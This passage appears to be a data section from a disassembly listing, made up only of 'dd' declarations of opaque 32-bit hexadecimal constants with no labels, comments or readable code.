		dd 0AD182418h, 7A118C24h, 6A635508h, 3199CC20h,	8BB91308h
		dd 41899809h, 8040BC08h, 4C8028EDh, 5930C6E8h, 7A2008F1h
		dd 798962A7h, 0BD05B469h, 0E658C85Fh, 80C5EB08h, 48C435A6h
		dd 0E909C392h, 0E1A2A826h, 2A184D49h, 0DB32948Bh, 49560886h
		dd 66C32964h, 31ABF191h, 3182E720h, 0B018126Bh,	3A8701EDh
		dd 668D1088h, 0C3FEF08h, 0D9088F76h, 2018D062h,	2DA40243h
		dd 0FBDF202h, 30C9708h,	4055109Bh, 0FC407796h, 54889252h
		dd 4020C4FAh, 5F40D739h, 1045648Eh, 2760D1AAh, 0E6188C80h
		dd 9A5F08AEh, 0C8A55418h, 0B6A8A80Eh, 0E918C57Eh, 84C85170h
		dd 1834E310h, 0E2106168h, 9C60807Ch, 0A4E8FC26h, 0EF815F40h
		dd 0A74854E5h, 0FDC8F1C7h, 473B8045h, 2752C03h,	1B8913EBh
		dd 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh,	0E3F7B08Bh
		dd 5B03DED0h, 338F21F0h, 0B10FE0C0h, 2C304F30h,	4BFCE9ACh
		dd 0FBC4B49Eh, 0D817CE2Eh, 125EE04h, 0FDC263AEh, 81187EE1h
		dd 6CB2CE2Fh, 0EED84053h, 0E0051BD6h, 69A00C48h, 0E2B5091Bh
		dd 0B5145F9Dh, 4F21E91Fh, 0F883EEE5h, 0B90D7C44h, 32B4031Fh
		dd 7FE1E288h, 0C5778006h, 67704460h, 28949F5Bh,	0B46BB9B0h
		dd 78AD010h, 163A31E5h,	4B9DD330h, 0F0005C79h, 10BD555Eh
		dd 0FC663B1Dh, 36D06B1Eh, 5A7359D4h, 0C2F4F3B4h, 772B6853h
		dd 0CCF155C6h, 3A5E9365h, 5A208F91h, 8FB6B22Bh,	14F273D3h
		dd 0CDFF3716h, 64886F26h, 4C2DFB2Ah, 9C16FE93h,	0CF7E4EA1h
		dd 86E64E91h, 13C9909h,	961A75h, 7FFFEB9Fh, 9A696190h
		dd 0D9EF2F10h, 0F5BA0429h, 0F3E10067h, 143E593Ch, 876F1751h
		dd 0B5C642A8h, 79C25C13h, 0E86DF568h, 0B7820ECBh, 394CABD9h
		dd 94097368h, 5621623Eh, 0B468465Dh, 0EBC44F55h, 0BC31AA50h
		dd 4F250BB2h, 0EC43A2F4h, 7D01B578h, 2A593863h,	80640B5h
		dd 5E14811Ch, 0E4CDAC3Ah, 10EAA2ABh, 3950FE6Fh,	0FA3718E8h
		dd 318A0C73h, 0E94A7406h, 84384Eh, 0C853D105h, 2EE22D1Dh
		dd 0B9B5BB4Bh, 11CA0707h, 0ADC25A1Eh, 0D56FFB08h, 9BF45562h
		dd 27417989h, 3F10F62Eh, 7F74AE6h, 0A4B850DEh, 0BFB3549Ah
		dd 0C5EF5A84h, 0B582AF5Ch, 5B70F401h, 7AFF36F1h, 69F8CB9Ch
		dd 0ABDB0ADAh, 0EB53580Ah, 14B9E08h, 0D31FDA68h, 3A2C2B05h
		dd 58D69751h, 65AAE9D0h, 5C3C76Ah, 0AB65D8F0h, 8099294h
		dd 7F0CCA5Ah, 402C7BC7h, 27FF1717h, 0BBD8846Ah,	0F3489CB1h
		dd 3F3D9CA0h, 310B9B31h, 2404BFC8h, 5DA5B706h, 485574A9h
		dd 1210F34Ch, 0EA09020Ah, 266882CCh, 0C224235Dh, 4F4626ABh
		dd 97275779h, 0C2AFDC3Dh, 7C5BDD15h, 2A6EE5A0h,	3412537Ah
		dd 0BED817FBh, 5F614238h, 9535F35Eh, 0C7B04248h, 0D509A5A1h
		dd 6809B8CFh, 0C498D59Dh, 0D32E954h, 5CC19745h,	7C601F02h
		dd 0AE8F44CFh, 8FEB8CE7h, 0ECE26EF7h, 1FCE4C4h,	0EDD047B5h
		dd 0C0FA98E4h, 113CC6C5h, 589D7CEBh, 684E0B6Ah,	86467EBCh
		dd 0DC77C000h, 3E1C15Fh, 1D22E681h, 81499743h, 4455B5C9h
		dd 487A202Dh, 5C12D4E8h, 5E1AC121h, 0F44F0BACh,	0C1C7249Fh
		dd 936326BBh, 55A4FADEh, 3446660Fh, 317EB84Dh, 0E24B7E91h
		dd 0D8E7FBAh, 137D21A5h, 0F00EF98h, 8E7AB9D3h, 0B2E024E9h
		dd 3F938328h, 42D317A6h, 0AFE614FEh, 61CA7718h,	736B5ECCh
		dd 0FC880A6h, 14AB3Eh, 0BD631BF1h, 498FE967h, 0A113B3F3h
		dd 56CEA4Ch, 0C8CC53B2h, 592593Ch, 0EDF8410Eh, 60536393h
		dd 5D4EEEEDh, 2048D4B3h, 0A0555102h, 0EF905670h, 22D02961h
		dd 9FE85BECh, 24F0E9E1h, 2D075E2Eh, 3F027405h, 9580F8F5h
		dd 48B847CDh, 0C805A244h, 0B07BBA33h, 0E0955297h, 66ACA75h
		dd 0A5E93B5Eh, 0F8974989h, 0A87015F3h, 0E1FF143h, 0F0481D03h
		dd 207CE910h, 1F0B4B24h, 9D474C07h, 0A010746Bh,	4FCC408h
		dd 9C31F373h, 1168F0C2h, 580AA966h, 6DF30902h, 80FD4CEBh
		dd 235A831Fh, 0EAD12625h, 74730DDFh, 79423AA7h,	57348BF3h
		dd 4C4BCDF9h, 0A3BF329Eh, 96D54F0Ah, 0B17E5F14h, 0E4167CB7h
		dd 0E28661BBh, 5D1C95C1h, 58C5C5C9h, 0A36B65F1h, 37ACD7FFh
		dd 43FBE88Ah, 25E236B7h, 638A8E40h, 0D8158227h,	0C4095C7Eh
		dd 6918F348h, 4F86711h,	58D274Ah, 439123Fh, 0EEAD9575h
		dd 40ECEE9Dh, 9EC29146h, 0FA7A4850h, 7AFB1128h,	6948B9B3h
		dd 0EB368600h, 3BDDE92Ah, 0D92FBDBAh, 81A5DE5Bh, 693D44C2h
		dd 0EC823E37h, 30DDE9E7h, 0DB328920h, 0A8F10D06h, 39507FFAh
		dd 48C600D3h, 7A414C35h, 0C1892C3Eh, 1AD1278Ch,	16B2D60h
		dd 51A05F7h, 838B1DA1h,	0D049F89Bh, 62B204DFh, 0D081C280h
		dd 302BF003h, 0AE4EECB5h, 0CE3348h, 5F233868h, 0B853EFD1h
		dd 59A9406Fh, 5A54DC95h, 87E9FF30h, 0C7D59554h,	712D2C0Fh
		dd 42D16572h, 38808D19h, 833B6CE0h, 91804ADAh, 2B4BD6F5h
		dd 0AF49B8FAh, 411A8434h, 0D2F75D00h, 495A4068h, 34B5030h
		dd 8734088h, 0A27E6190h, 5F0BD025h, 1110621h, 29806EB2h
		dd 586F2C5Ah, 2E68BA40h, 9D322808h, 0F627AD5Bh,	40955082h
		dd 0F03E7C6h, 0C3C533D1h, 8DD9A606h, 0C1FD825Ah, 0D551059Dh
		dd 0B378A84h, 62575664h, 0AC183FFBh, 2DB980F9h,	40E56F17h
		dd 7BC106FBh, 0EAE66821h, 44585195h, 27C0AF4Ah,	0B8E9E2D1h
		dd 8B58B9E2h, 945D07CEh, 485726A9h, 6145931h, 0F6AB3446h
		dd 9939EE14h, 65A96FDBh, 0E08F04D2h, 0A5A91332h, 0A5B7AC92h
		dd 1CB6C1AEh, 0A08BBD20h, 0F3664818h, 0AE164B84h, 0A4681720h
		dd 0E22DCB7Dh, 0C07E8C2Bh, 46C91E1Fh, 0C8078145h, 5C86306Bh
		dd 0DD140BE9h, 6506EB07h, 0D7B37534h, 813C5E23h, 0A815D65Dh
		dd 99346D24h, 0E0801A2Fh
		dd 7B1663ABh, 0D1413532h, 0BE70EB22h, 486EB235h, 0EA038456h
		dd 6B616F0h, 40870C16h,	0D2EEF2A4h, 0F873643Ch,	49602623h
		dd 0ECC82996h, 26730C2Eh, 90FC5232h, 0BE59A082h, 0F8FDE846h
		dd 0DD62B76Bh, 94F1EC55h, 1D132410h, 61544B08h,	4A9D7018h
		dd 3BD85581h, 2C79142h,	1EF72C7Ah, 26E066E2h, 0F91E295Bh
		dd 6489CF87h, 5A099936h, 0F70B7AA5h, 0E9850BC7h, 0B6D6172Bh
		dd 0C71430AAh, 2A68CAF3h, 81D42549h, 3BA64284h,	0F59B0004h
		dd 189DA039h, 0E56E0148h, 123B7E9Dh, 0C1CAB297h, 39416855h
		dd 538BA92Ch, 2FA6145Dh, 0DF545D5Bh, 8FAB59E5h,	8B414D1Fh
		dd 834DE3Bh, 1C28F7DBh,	0BC214120h, 0C35645EDh,	4A5061BEh
		dd 0CFF20D73h, 29A8525Bh, 4060632h, 0AB7917C0h,	0E9EAB009h
		dd 556DA4EEh, 0C5F837EBh, 3F87F18Eh, 6E213821h,	44BF1281h
		dd 45A6708Ch, 0D384FFDCh, 9DCA1AEFh, 0C4BA5975h, 79F21287h
		dd 0D265ABD0h, 0E092BB75h, 60B5E229h, 2D7CE875h, 0A8F07BD6h
		dd 0F739B092h, 69D4DDDh, 706606BEh, 0CF97010Ch,	0E3E9966Eh
		dd 1FC1381Ch, 26DE6A19h, 0AEEBC28Bh, 0A4C5C925h, 0DAFE5140h
		dd 84B14FC9h, 0DAEFB22Fh, 0C9976118h, 2F8557CAh, 5F0809E9h
		dd 4DC25F5Ch, 18C64885h, 6AB0009h, 76F0D40h, 409F72D7h
		dd 9F79645h, 34BDE9D6h,	0FE032FFAh, 0D1733A11h,	0EAB0FCE3h
		dd 8BDB04FFh, 0BED80119h, 0EC4E9F9Bh, 0EDD2B47Bh, 2FED789Ah
		dd 0FFCC585Dh, 0C89D7FA4h, 0C0A263CFh, 479FEFEDh, 0E09071C4h
		dd 840BCC03h, 40DF0151h, 30E9081Ch, 0BA3224ECh,	5A27688Fh
		dd 9B247C20h, 4C0262CAh, 2D1FBDCEh, 9213401Eh, 57522725h
		dd 3F7D7FFAh, 6154652Fh, 0B06B29F2h, 5C013EEEh,	0E94859BAh
		dd 8D7AE4B1h, 0E8A1E713h, 1A682B1Fh, 5F5643BDh,	5083B3BCh
		dd 16C117B4h, 801087CEh, 0D1F627F1h, 4CB2E0Ah, 2CC80ECBh
		dd 2D3E6C93h, 99B4FB4Ah, 0E4D716F8h, 4F70FCEAh,	5F016EF0h
		dd 0B014E8FBh, 585BD831h, 64582568h, 4FD52CAh, 879D35E8h
		dd 0D040ABE6h, 5D62C768h, 0D298DC73h, 670AEE69h, 0D59D0E8Dh
		dd 0BA819486h, 0D184D0F6h, 5AA7CC2Eh, 54B06812h, 3B1569FEh
		dd 6E1F6161h, 7AA0A67Bh, 1086A12h, 0DE1DCEAh, 0A1FCAC58h
		dd 5DFEEB83h, 0A4831A14h, 9345548h, 7301265Eh, 0B8FC0B68h
		dd 7ABA57h, 2B3044BAh, 6850007Eh, 20C7752Fh, 0D072F758h
		dd 0F80D85Eh, 27DF8035h, 0E1608D1Ch, 72CCF329h,	4B31C32Ch
		dd 10D0F9F5h, 680A5FC6h, 6F8C1DB2h, 0D04613A4h,	75600F7Fh
		dd 55680A0Bh, 842F3304h, 0FF0B61B2h, 7F054F4Eh,	0B8E34005h
		dd 67186B57h, 11BA5202h, 5E63BB60h, 1C0124F2h, 4235C4DEh
		dd 0BCC7C669h, 282570A1h, 814A01D4h, 0C7120FF2h, 3A8C027Ah
		dd 0BFE9AE17h, 8CE2CD05h, 8570A030h, 148509C6h,	140C3A4Eh
		dd 622D68ABh, 3149E62Bh, 0C71BB160h, 0A0373F01h, 31D04008h
		dd 44BB5818h, 10E03317h, 0DD7755C0h, 5E6DCB2Eh,	6809DCB6h
		dd 51E47DF2h, 786372A0h, 44B812D2h, 0F468C4h, 7B25E181h
		dd 0F8437669h, 6C193A10h, 0BC88916h, 9ACE0D75h,	0B58383h
		dd 8666B18Fh, 0E92E4274h, 29980A65h, 0C5276D38h, 0BE41438Fh
		dd 3C6AA2D9h, 62DE986h,	0B7F1D289h, 7A9A6642h, 85388FFFh
		dd 5AEFF671h, 0B1400482h, 0C250276Bh, 0F02CD84h, 4D33625Ch
		dd 0C6124045h, 17EFF16h, 0A36F3A1h, 12E92C7Ah, 56C08BE9h
		dd 623268h, 815B7410h, 27580DCBh, 0F3015776h, 77377A3Bh
		dd 6A60DD89h, 3BB9B9F4h, 5F7C0B20h, 0CDA8828h, 6BF6D724h
		dd 0ACF25067h, 5FA055BEh, 8AE03F4h, 0CAF18726h,	1AF0935h
		dd 690604AAh, 0C00C826Ch, 60809AE7h, 6318CFh, 0F6253AB0h
		dd 51EB333h, 0EA2A6F0Fh, 2F7C4228h, 0F83D6039h,	0D07782ADh
		dd 0F2513085h, 5BD90910h, 0D641ABA1h, 0D1686600h, 962F9D5Ah
		dd 7C32F9B7h, 173C913Ch, 0DE0C5D3Bh, 79550F95h,	0F6E89D5Eh
		dd 59BF1851h, 0C626423Ah, 34ACC655h, 801021BBh,	1D032D16h
		dd 9D4EC27h, 570BFF6Eh,	12479B77h, 0AEE515C2h, 2F972E2Dh
		dd 0C2F96455h, 0CB74067Ah, 0F4EF5BC4h, 5B955897h, 7E15BF3Fh
		dd 0EA3E9136h, 136ADDEh, 34BF0B9Dh, 163F56E9h, 82B6041Bh
		dd 0EB30ABD8h, 0BFB23B3Fh, 2039B2E1h, 0C19D561Ch, 3F74D37Fh
		dd 38781E95h, 31C8B7Bh,	79426990h, 0DC18F42Dh, 0BD626D2h
		dd 9C5D53BDh, 0A84C95BFh, 93639404h, 7F0013Bh, 830D90F1h
		dd 0D2B0B70Bh, 2F156433h, 8FD6348Bh, 1C6557DAh,	5F8A628Bh
		dd 1434E5B0h, 64AED8D3h, 52BA01FBh, 72557D68h, 97A90093h
		dd 0FAE9AA82h, 0F034D618h, 0DA51F7FDh, 93112003h, 0A4B0727Dh
		dd 0E9066C93h, 0FB7DE0A9h, 0A80F70DCh, 12BEAA1h, 360D5851h
		dd 0FD14B32Ch, 0E94E3AE7h, 1B9E4CBh, 7009DA91h,	0C0622D33h
		dd 6CFDD380h, 942D0478h, 8013474Eh, 442AEABEh, 1526D698h
		dd 0BE40E196h, 0F6B3DCC4h, 98C74F55h, 0DE25680Eh, 5A854632h
		dd 8497F455h, 0EAC5B7D6h, 90320506h, 182E3137h,	5559627h
		dd 5681AABDh, 7F5F5768h, 665E0A3Ch, 514EFA50h, 7612B22Ah
		dd 5BF38839h, 43D0981h,	0E61D512Ch, 79159968h, 54DD34FDh
		dd 0B5334CBFh, 40B32E14h, 2B0BD95h, 0D210F3BAh,	0F88AC335h
		dd 4219362h, 0C90D3E2Dh, 5A88268h, 5CDA078Bh, 0C16FAB33h
		dd 3D3FD959h, 0EC0D8F8Ch, 0B806B60Ah, 0C6FED6F6h, 16807408h
		dd 4023E9FAh, 560D2D13h, 1245110h, 0D3023DF8h, 4068D477h
		dd 2C63793Bh, 28216AF4h, 4B76148Bh, 0FC20C543h,	6DC26800h
		dd 815E3DFBh, 726001E6h, 0EEC17614h, 77F64007h,	5A00880Dh
		dd 0BD5E5856h, 58EC2337h, 0C130DFD2h, 0EE80ADA3h, 0CEFE8A1Bh
		dd 6BE5F1A4h, 0CA24E076h, 0B65A125Ch, 9EE14A00h, 0B972D87Eh
		dd 85A5355Ah, 0AD0383DFh, 9B10AFF7h, 3034D2Bh, 0D8D431F1h
		dd 0A79E994h, 66097672h, 12D7E305h, 0FC0809C2h,	81BCA59h
		dd 7E278751h, 7468507Bh, 80A7585Dh, 5DD93EE6h, 0B969850h
		dd 0B6706D7h, 8F2C707Eh, 48052D3Ch, 3D0335EBh, 0FA5D4F2Ch
		dd 70628D4Fh, 6744A731h, 0ACBE3256h, 0BF904156h, 131485CEh
		dd 5C5159Fh, 577B6AD7h,	2B7004FAh, 0EBF3EFF4h, 0F892D3Ah
		dd 5012084h, 5211A668h,	0A750ED98h, 0EAC65995h,	89E39DA5h
		dd 18724C3Fh, 9D251A30h, 1591D0Dh, 0F005656Ch, 306D1947h
		dd 443EEB0Fh, 2F615CA1h, 2F1F7059h, 0E47CE831h,	0BB571658h
		dd 293804F1h, 205C0701h, 1A475709h, 0D37DADBCh,	5CC502F1h
		dd 21607726h, 57827E76h, 0A0830562h, 11E238B9h,	7B0C078h
		dd 84A5509h, 982AF814h,	0C0D43455h, 8021FA5Fh, 0C525D779h
		dd 417A63Bh, 1A41ACEh, 586009F1h, 37E75AE8h, 0BC54A5DEh
		dd 5EE6B4ECh, 0D0791916h, 0B755281h, 7AC5Ch, 132002E2h
		dd 81B4B5E9h, 34C52E5Dh, 4AF64081h, 7C525901h, 0A55076Ah
		dd 45E5669Bh, 5EFC9D52h, 9462E2E5h, 0C35F2905h,	43A85496h
		dd 82B7DE20h, 4A9FE6DCh, 0F5BB4251h, 1A497866h,	0BBBE00AEh
		dd 8170742Fh, 1C5709F6h, 13C014DEh, 0EA2D2EA9h,	404FD42Ch
		dd 187648Ah, 4B96F80h, 0DA89F0BEh, 0D790FF5Bh, 2D151AF2h
		dd 2B74D02Bh, 0D44D4909h, 29687A18h, 0F9023051h, 0E94D5D3Dh
		dd 7045E71h, 3338EC80h,	0E6820EF4h, 38FECFC3h, 449ABA00h
		dd 0BD550971h, 0D7370058h, 64CD812Bh, 2F504763h, 442C0F93h
		dd 0B208B6AFh, 1F68055Bh, 0C103BC33h, 66B7727h,	5455C2F7h
		dd 289CADEh, 331336A8h
		dd 0BAA43BE1h, 4607960Dh, 57F19E27h, 45601E58h,	23215F6Dh
		dd 0BCC953A7h, 5862315h, 0CE8899B1h, 63A90D81h,	0F1AA306Ah
		dd 0D7B40112h, 219718BCh, 1DFAEB65h, 8153F569h,	1A2FF8CBh
		dd 601601Dh, 0C0841004h, 0DDE125E9h, 0C8F7047Eh, 1A2BE36Fh
		dd 565C1B22h, 0EF66CCD1h, 5C2902BFh, 48AD5952h,	37234083h
		dd 810E7ACDh, 0B810AFE1h, 107DE90Ch, 7553C39h, 250BD6A2h
		dd 252926B3h, 4AF4D845h, 1932BE02h, 0E30E0B10h,	49936862h
		dd 80694FF4h, 817226F4h, 637C0CEEh, 0E0C4A66h, 54797F05h
		dd 9EADE94Eh, 0A770A94Ah, 8DCA8CA4h, 17EF680Ch,	0D9DBA21h
		dd 1F408B01h, 0C05F4505h, 1894F532h, 0CC02BF8h,	8DC5035h
		dd 0F9EF4F01h, 0DD778A43h, 0FE94D96h, 0C03BCC85h, 0E9CD319Ch
		dd 2B0CA5Dh, 2E2F75BEh,	3BE1F038h, 944B7A69h, 334AF4A7h
		dd 9280D238h, 6585F101h, 459FFFh, 6851575Bh, 4BCB5AE4h
		dd 4C15F61Dh, 0A81D78D9h, 0AAACD16Ah, 91A6FB05h, 278CFA04h
		dd 74C3F5BCh, 0F603DD68h, 49354DC2h, 5013C971h,	258D058h
		dd 0E95C1761h, 0ACA230D6h, 0AF536AFEh, 41196842h, 80B8493Bh
		dd 79BA1A0Dh, 8AB3E39Ch, 226B56B7h, 74EBF6A0h, 0C02206C1h
		dd 0C3E406E3h, 51660E8Fh, 0A117F2B5h, 4DE10268h, 8A17BE44h
		dd 46138590h, 0E46C1AAh, 43657E95h, 0FBD261A6h,	873F478Dh
		dd 8DC9246Eh, 74C6E132h, 0BD09BEDCh, 226581Bh, 559B2E45h
		dd 6B980EC6h, 0D7F93341h, 0DD2F6D22h, 1F02DCD6h, 423AAD76h
		dd 8E90826h, 0F0BEE909h, 9D9398C9h, 5D5E944Eh, 680976CBh
		dd 0D21B188Ch, 112885C3h, 0A170AD54h, 0EC565697h, 5F29683Ch
		dd 0B29FFD15h, 11105A26h, 23DA0D00h, 0DD2D5056h, 2A8B0317h
		dd 5E3E64F0h, 0A9F3B3h,	0D001C780h, 766866EFh, 5386E9F3h
		dd 4E207EE9h, 552D7190h, 0EC1C5E21h, 1827E9B5h,	73065C45h
		dd 79D161F1h, 19A10B50h, 0DDA0045Ah, 1D898BBAh,	99C06EC5h
		dd 5DE889CFh, 0D336C148h, 30319D4Bh, 0D713EB92h, 0ABF430h
		dd 77A80549h, 0D0454B1h, 6A827DA7h, 9204D4C1h, 4EC20004h
		dd 0F707513Bh, 0C0A0DD4Ah, 0B4B9DE9h, 0AF5EB49Fh, 0A3FBB3C4h
		dd 40E985FAh, 0C101E490h, 0F2BF0557h, 8526E277h, 0BE1A94D8h
		dd 8A0C349Eh, 1DE1012Fh, 4CB97009h, 0D482FD5Ah,	4CDD05F7h
		dd 0E529A085h, 6A2F1762h, 14988429h, 6F846308h,	8457F2FAh
		dd 0BF12BEA4h, 0F1EA0064h, 73ED3E90h, 57BE92A4h, 0C7DFEBA9h
		dd 48B9A902h, 7C7D10EFh, 0ACC75Fh, 29165839h, 3149064Fh
		dd 8641E4D2h, 0C49077E2h, 262F685Dh, 7286765Fh,	1E73607Dh
		dd 4510CC8Eh, 739F7EF2h, 10FB1A65h, 80823A55h, 0F4373018h
		dd 12D6A048h, 280A0B43h, 0E18BD7F7h, 6C75E7C2h,	2A722078h
		dd 8CCC5C5Fh, 50CEFA56h, 5F29DD0Ah, 0C176B2CFh,	9637E9FAh
		dd 48390A69h, 2E35D881h, 3F3ED905h, 0B76AB9C1h,	3BB3E57Bh
		dd 82E444F9h, 550901B4h, 1E2F3E82h, 7DC21E48h, 51D7E212h
		dd 0FF4E24FFh, 2BDACFC4h, 957F1D58h, 7D5CA332h,	5ED922AFh
		dd 20906CA0h, 0BB006E70h, 12783E93h, 0B05BDE29h, 7629D6Dh
		dd 0F69CA1FEh, 40AF54C4h, 0DE75C0EBh, 5C1EA539h, 0C00908BBh
		dd 64A2F77Eh, 0B900B53Fh, 5CA3180Ch, 3A063D63h,	0C515A24h
		dd 21446212h, 0EE9B12AEh, 0B4E06689h, 0D8B6A9ABh, 8262A6FCh
		dd 0D3024E5Eh, 8937952Dh, 9554709Ah, 846FDB74h,	299774ACh
		dd 7FA49E65h, 5F750FF1h, 0F642C11h, 3ED8EE68h, 3F728419h
		dd 8920B081h, 0BEF8F2F6h, 1DBF0139h, 0E305993Eh, 4C2F19A8h
		dd 0E9E3D106h, 0B7227A0Bh, 7123A0C0h, 89E85E5Ah, 21034648h
		dd 31149928h, 0E6D15DC8h, 0EDF0E917h, 6312C9A9h, 576888AAh
		dd 1E226805h, 0ADA26E16h, 92F7879Dh, 0E929A12Ah, 301E6801h
		dd 11BA7A50h, 4B147C5Ch, 0FF4CC515h, 69F8CADDh,	0C4F99FEBh
		dd 0F5D45247h, 7C835FE0h, 0C2EF9CEDh, 0B5081892h, 0B02ECC28h
		dd 52897256h, 0C0BFFE54h, 0D83FF9B8h, 20464D48h, 0EE8012B1h
		dd 0DE86ACDFh, 0A91F64Eh, 7E4F1FF4h, 50E99003h,	0C03801F5h
		dd 0A92C03E0h, 61456134h, 0E55E30F9h, 30E706C0h, 722C5BFEh
		dd 0B8CD4EEFh, 0E0E574F9h, 484ADCE9h, 18535898h, 0D50F1E68h
		dd 928310A6h, 0A70F51EEh, 0E9E73E51h, 2F85D4A9h, 0A9F20D5Ah
		dd 0AA88954Fh, 55651797h, 0D941FA1Ch, 5FD70F08h, 1F4C9F74h
		dd 3DD468C9h, 2F80D054h, 15DE56F2h, 2C7B3C88h, 29D56B21h
		dd 4B16D505h, 0B7E2EB0h, 8E8D1E9Dh, 9C8D24E0h, 0AB5E93A2h
		dd 0D38274D4h, 28F9F20Ch, 3806DCD6h, 0FE4A3428h, 52C2C967h
		dd 0BEB3712Ch, 93E4F75Ah, 0A6FD991h, 3027EE14h,	0C86B6A03h
		dd 544AE9D1h, 73E4894Fh, 30E8C6BDh, 883962E5h, 28E23BECh
		dd 66259659h, 0C25BDE5Ah, 6801E765h, 0F3884270h, 79275D71h
		dd 4FC94F9Fh, 7FBE42C1h, 0B8E1DC24h, 77D955F5h,	9E10B84Eh
		dd 0F8532518h, 567C6F76h, 1806A186h, 42275E76h,	21D14826h
		dd 1A3C2E53h, 90131319h, 22D1FD04h, 4B87C55Ch, 0A5273DBFh
		dd 1B1EFD0Ch, 58201998h, 0BD54E40Eh, 0B3AC8873h, 165AEB70h
		dd 6406802Ch, 0EC7ED4EEh, 5635F28Eh, 0AF8B1ED9h, 2B70205Ch
		dd 8835BE8Ah, 0DE2F6F3Eh, 52FC09D4h, 0AA3F7D51h, 0BE079FE6h
		dd 47FD061Eh, 9CFCF1A5h, 0EFE38913h, 0F2969179h, 0E86C53E6h
		dd 0EEE2A73Ah, 9661C8E2h, 0AC754F17h, 5602311Dh, 47D1445Dh
		dd 9BC23007h, 0E130E9D6h, 61ED6D5Ch, 553F0951h,	4E01F501h
		dd 80BB03B0h, 4E08EA1Ch, 55E9469Ch, 0D641EE84h,	0FF05A773h
		dd 0B41C8B8Eh, 491271Eh, 3B2165D3h, 0E913788Fh,	2C0945C5h
		dd 0ECB88EBh, 26684940h, 0CFE8239Ch, 0CC3225C5h, 81004F8Dh
		dd 0E29CB5EFh, 0B7FD8933h, 2E5FED99h, 0BBC06CECh, 5DE31A77h
		dd 81DBF700h, 0C8C7EF3h, 7DE925BEh, 3E5513E1h, 0E4A650EDh
		dd 0D5D20F30h, 301A71F1h, 14E0037Eh, 209FE10h, 0D3B459E9h
		dd 38ADBD88h, 5FFEC3C8h, 2D5A65B5h, 0E9C2F9F4h,	565A7406h
		dd 0BA5F12A2h, 0E7CD8551h, 0DB68C461h, 0C9F20E04h, 0A480D00Bh
		dd 5B508BC2h, 0D4F85A51h, 0BA122B51h, 0CEEAD101h, 798F3518h
		dd 0E12B23C9h, 4BE8621Ch, 38B81F9h, 3BF48DC2h, 0C1538496h
		dd 0DDE810Fh, 596E40BBh, 0AFB616h, 2C7991BFh, 3AFB713Ch
		dd 36C7230Bh, 2F67F50Eh, 0C12157A6h, 23A434E9h,	51A44B06h
		dd 0FD251E30h, 510B223Eh, 50F9477h, 51B55DDFh, 48744E80h
		dd 0EE81467Eh, 10D7062h, 7A32FDF1h, 68CF9977h, 0B72E5FF5h
		dd 0DFE9099Ch, 0CF095937h, 8A92EC9h, 76E41075h,	215F8174h
		dd 6131CD59h, 13907C6Ah, 31BF6C79h, 0A0D5FD64h,	72FBA10h
		dd 8D971134h, 105998A6h, 5256006Dh, 98329668h, 0C65A5042h
		dd 4129389Bh, 0D32099DCh, 25516812h, 0C904D2B3h, 0EB6D8D42h
		dd 48C7D10h, 65228F68h,	5A56BBh, 45C82F38h, 0FCB1C9E9h
		dd 180FBD28h, 8B436253h, 4E5458ECh, 5A5EA359h, 0FEF5E0BCh
		dd 0E8051685h, 0C8BEEED3h, 0D7265111h, 0FEAFE96Ah, 3576D293h
		dd 35539DE0h, 8818477h,	7C27D95Fh, 0B652096Bh, 893E078Eh
		dd 287BC630h, 345A2CF0h, 1B15048Bh, 0EEBDA401h,	82033E5Dh
		dd 0F4397368h, 3B2D62C7h, 92657FD6h, 5D31C349h,	0FBFC60CCh
		dd 0DA15213h, 7DC01901h, 0C9F03668h, 62200274h,	0FA29E96Dh
		dd 0CF004E52h, 190926E7h, 0FE08EFC1h, 88F05AA8h, 0F80329E6h
		dd 5F529A05h, 82EF954Fh, 5E011E23h, 6320B850h, 0D090012h
		dd 30D071FEh, 60CE8C1h
		dd 28CFDDE9h, 972DE5Bh,	57E8EE82h, 6C5E27AFh, 82DE6BCh
		dd 2013DD7Ah, 2204723Dh, 13F8E02Ch, 56355FC4h, 12C56308h
		dd 598AF5Dh, 50A8592Bh,	169AC0Ch, 560EBD6h, 47349FA8h
		dd 4E9EDE02h, 0F7070E0Dh, 400BF754h, 80E91F93h,	0BD0E1296h
		dd 8A3C466h, 4E547CFCh,	22C85E21h, 0CD6BAE08h, 3EE2D9A9h
		dd 0E7D62EADh, 11B24ED5h, 3A4EC1C0h, 985A6876h,	85D8A44h
		dd 0EE225A0Ah, 3650D869h, 0ED00C290h, 27E55A4Bh, 9777F2E9h
		dd 7909EE7Bh, 0E2347637h, 0EEC8115Ch, 0C0123E58h, 0F2ED0129h
		dd 0AA55907Fh, 18145DFFh, 7EE95409h, 69CC5EC3h,	4CCA8210h
		dd 5A49637Bh, 54E98246h, 11036869h, 25DFC51Eh, 0A2BF34Dh
		dd 0BE1A425Bh, 48C4DB39h, 0EF4AA6E8h, 18830829h, 43357708h
		dd 0EA50B878h, 0E9275E08h, 68F7406Bh, 6A3E3D0Fh, 1763BCCAh
		dd 0CFE963C8h, 0E00C8504h, 0E282E45Ah, 265F2A40h, 8028CF29h
		dd 9DD635DBh, 0AF93FE89h, 2B01FA4h, 901522E9h, 485870E2h
		dd 0B9FDEEBh, 1418F0ABh, 2216B52Dh, 0F9B1C80Fh,	17D6FD60h
		dd 0EB5E3651h, 55689220h, 9380946Ah, 0DCE14906h, 0C45A82DFh
		dd 0C868C2A2h, 78DE3186h, 0EE1B2F5Bh, 0F368725Eh, 99387D27h
		dd 194EA4E9h, 2CD96A42h, 0FFBBC25Ah, 522DAA60h,	0C5862E97h
		dd 81004AC6h, 0F40B0C9h, 4149262Bh, 679A0B2Ah, 9222FC56h
		dd 65184AE6h, 9D5603D8h, 133E260Dh, 0C15F0B16h,	0D060238Fh
		dd 88102D40h, 0D6395028h, 85061B13h, 0E6C2070Ah, 65BD0820h
		dd 4D58AA03h, 0E64FA76Ch, 12259615h, 10138BAEh,	0C0488BABh
		dd 3CF4F620h, 8C773A5Fh, 44FA6B2h, 9093AB51h, 66F2C874h
		dd 5BDA0035h, 6C0D121Ah, 2C038F02h, 7440A805h, 6D13FF62h
		dd 9F2DA8B3h, 0BDD0273Ah, 0E56EC042h, 0E8CAAEBDh, 6BA0E09h
		dd 2DC0E2AEh, 25310E70h, 0A9A4295h, 0F5425007h,	2AF39BC2h
		dd 0B0F45BB7h, 1FE309B0h, 5B567A3Fh, 38CB8100h,	986BFE53h
		dd 0BF9D09A8h, 8D843507h, 0AD07CDFBh, 0A8C6C55Eh, 0A94A2018h
		dd 76EBA00h, 0D631221Ah, 0BC40955Ah, 2B0D901h, 0B6F32624h
